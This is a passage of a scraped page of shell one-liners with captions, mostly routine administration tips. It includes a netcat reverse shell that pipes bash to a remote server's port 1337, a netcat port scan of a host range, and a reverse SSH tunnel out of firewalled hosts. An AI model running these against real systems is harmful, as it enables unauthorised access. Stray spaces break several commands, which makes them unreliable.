secret" ; once=$RANDOM ; ts=$(date +%s) ; hmac="$k2& $k4" ; id="19258798" ; }Check if a machine is online $ ping -c 1 -q MACHINE_IP_OR_NAME >/dev/null 2>&1 && echo ONLINE || echo OFFLINE diff the outputs of two programs $ diff <(exiftool img_1.jpg) <(exiftool img_2.jpg) put an unpacked .deb package back together $ dpkg-repack firefox extract element of xml $ xmlstarlet sel -t -c "/path/to/element" file.xml Print all lines between two line numbers $ awk 'NR >= 3 && NR <= 6' /path/to/file Show network throughput $ tcpdump -w - |pv -bert >/dev/null Generate a random password 30 characters long $ cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32 Remove the first and the latest caracter of a string $ var=:foobar:; echo ${var:1:-1} Load file into RAM (cache) for faster accessing for repeated usage $ cat <file> > /dev/null Show IP Address in prompt --> PS1 var $ export PS1="[\u@`hostname -I` \W]$ " log a command to console and to 2 files separately stdout and stderr $ command > >(tee stdout.log) 2> >(tee stderr.log >&2)Join lines split with backslash at the end $ sed -e '/\\$/{:0;N;s/\\ //;t0}' Convert text to lowercase $ lower() { echo ${@,,}; } find builtin in bash v4+ $ ls -l /etc/**/*killall make image semi-transparent $ convert input.png -alpha set -channel A -fx 0.5 output.png execute a shell with netcat without -e $ mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe output length of longest line $ awk '(length > n) {n = length} END {print n}' Save your terminal commands in bash history in real time $ shopt -s histappend ; PROMPT_COMMAND="history - a;$PROMPT_COMMAND" Connect via SSH to VirtualBox guest VM without knowing IP address $ ssh vm-user@`VBoxManage guestproperty get "vm- name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'` Make redirects to localhost via /etc/hosts more interesting $ sudo socat TCP4- LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavaila ble";' Tricky implementation of two-dimensional array in Bash. $ arr[i*100+j]="whatever"Terrorist threat level text $ echo "Terrorist threat level: `od -An -N1 -i /dev/random`" Use wget to download one page and all it's requisites for offline viewing $ wget -e robots=off -E -H -k -K -p http://<page> Convert a string to "Title Case" $ echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g' RTFM function $ rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; } back ssh from firewalled hosts $ ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip rename files according to file with colums of corresponding names $ xargs -n 2 mv < file_with_colums_of_names Create a new file $ > file Monitor a file with tail with timestamps added $ tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}' Use result of the last command $ `!!` Check disk for bad sectors $ badblocks -n -s -b 2048 /dev/sdX run a command whenever a file is touched $ ontouchdo(){ while :; do a=$(stat - c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }Create a file of a given size in linux $ truncate -s 1M file Extended man command $ /usr/bin/man $* || w3m -dump http://google.com/search?q="$*"&btnI | less Get notified when a job you run in a terminal is done, using NotifyOSD $ alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome- terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"' Show which process is blocking umount (Device or resource is busy) $ lsof /folder Show the UUID of a filesystem or partition $ blkid /dev/sda7 run command on a group of nodes $ mussh -h host1 host2 host3 -c uptime Setting global redirection of STDERR to STDOUT in a script $ exec 2>&1 Outgoing IP of server $ dig +short @resolver1.opendns.com myip.opendns.com Isolate file name from full path/find output $ echo ${fullpath##*/} Show numerical values for each of the 256 colors in bash $ for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 - s ' '; echo -e "\e[m" Use Kernighan & Ritchie coding style in C program $ indent -kr hello.cDelay execution until load average falls under 1.5 $ echo 'some command' | batch backup with mysqldump a really big mysql database to a remote machine over ssh $ mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot - pmysqlpassword dbname | ssh - C user@ sshserver 'cd /path/to/backup/dir; cat > dbname.sql' Tail -f at your own pace $ tail -fs 1 somefile Watch the progress of 'dd' $ dd if=/dev/zero | pv | dd of=/dev/null Smart `cd`.. cd to the file directory if you try to cd to a file $ cd() { if [ -z "$1" ]; then command cd; else if [ - f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; } Temporarily ignore known SSH hosts $ ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1 dd with progress bar $ dd if=/dev/nst0 |pv| dd of=restored_file.tar Save the Top 2500 commands from commandlinefu to a single text file $ curl http://www.commandlinefu.com/commands/browse/sort-by- votes/plaintext/[0-2500:25] | grep -v _ curl_ > comfu.txt Simple addicting bash game. $ count="1" ; while true ; do read next ; if [[ "$ next" = "$last" ]] ; then count =$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$ ne xt" ; done Query Wikipedia via console over DNS $ mwiki() { dig +short txt "$*".wp.dg.cx; }Print a row of 50 hyphens $ python -c 'print "-"*50' Display a wave pattern $ ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29* (Math.cos(i)/2+1)); i+=0.1}" grep tab chars $ grep "^V<TAB>" your_file send a message to a windows machine in a popup $ echo "message" | smbclient -M NAME_OF_THE_COMPUTER Using mplayer to play the audio only but suppress the video $ mplayer -novideo something.mpg Using mplayer to play the audio only but suppress the video $ mplayer -vo null something.mpg create a temporary file in a command line call $ any_script.sh < <(some command) shell function to make gnu info act like man. $ my info() { info --subnodes -o - $1 | less; } Get your commandlinefu points (upvotes - downvotes) $ username=matthewbauer; curl - s http://www.commandlinefu.com/commands/by/$username/json | tr '{' ' ' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr ' ' '+' | sed 's/+$/ /' | bc Replace spaces in filenames with underscores $ for f in *;do mv "$f" "${f// /_}";doneInsert the last argument of the previous command $ !$ Remote control for Rhythmbox on an Ubuntu Media PC $ alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox- client --no-start' Remove everything except that file $ find . ! -name <FILENAME> -delete Remove today's Debian installed packages $ grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove Amazing real time picture of the sun in your wallpaper $ curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin bash screensaver off $ setterm -powersave off -blank 0 Monitor a file's size $ watch -n60 du /var/log/messages Smart renaming $ mmv 'banana_*_*.asc' 'banana_#2_#1.asc' is today the end of the month? $ [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' Port scan a range of hosts with Netcat. $ for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; doneLog your internet download speed $ echo $(date +%s) > start- time; URL=http://www.google.com; while true; do echo $(curl -L --w % {speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done & Show Directories in the PATH Which does NOT Exist $ (IFS=:;for p in $PATH; do test -d $p || echo $p; done) Privacy Policy | Terms and Conditions | Contact My other projects: Blockchain Yoga Climbing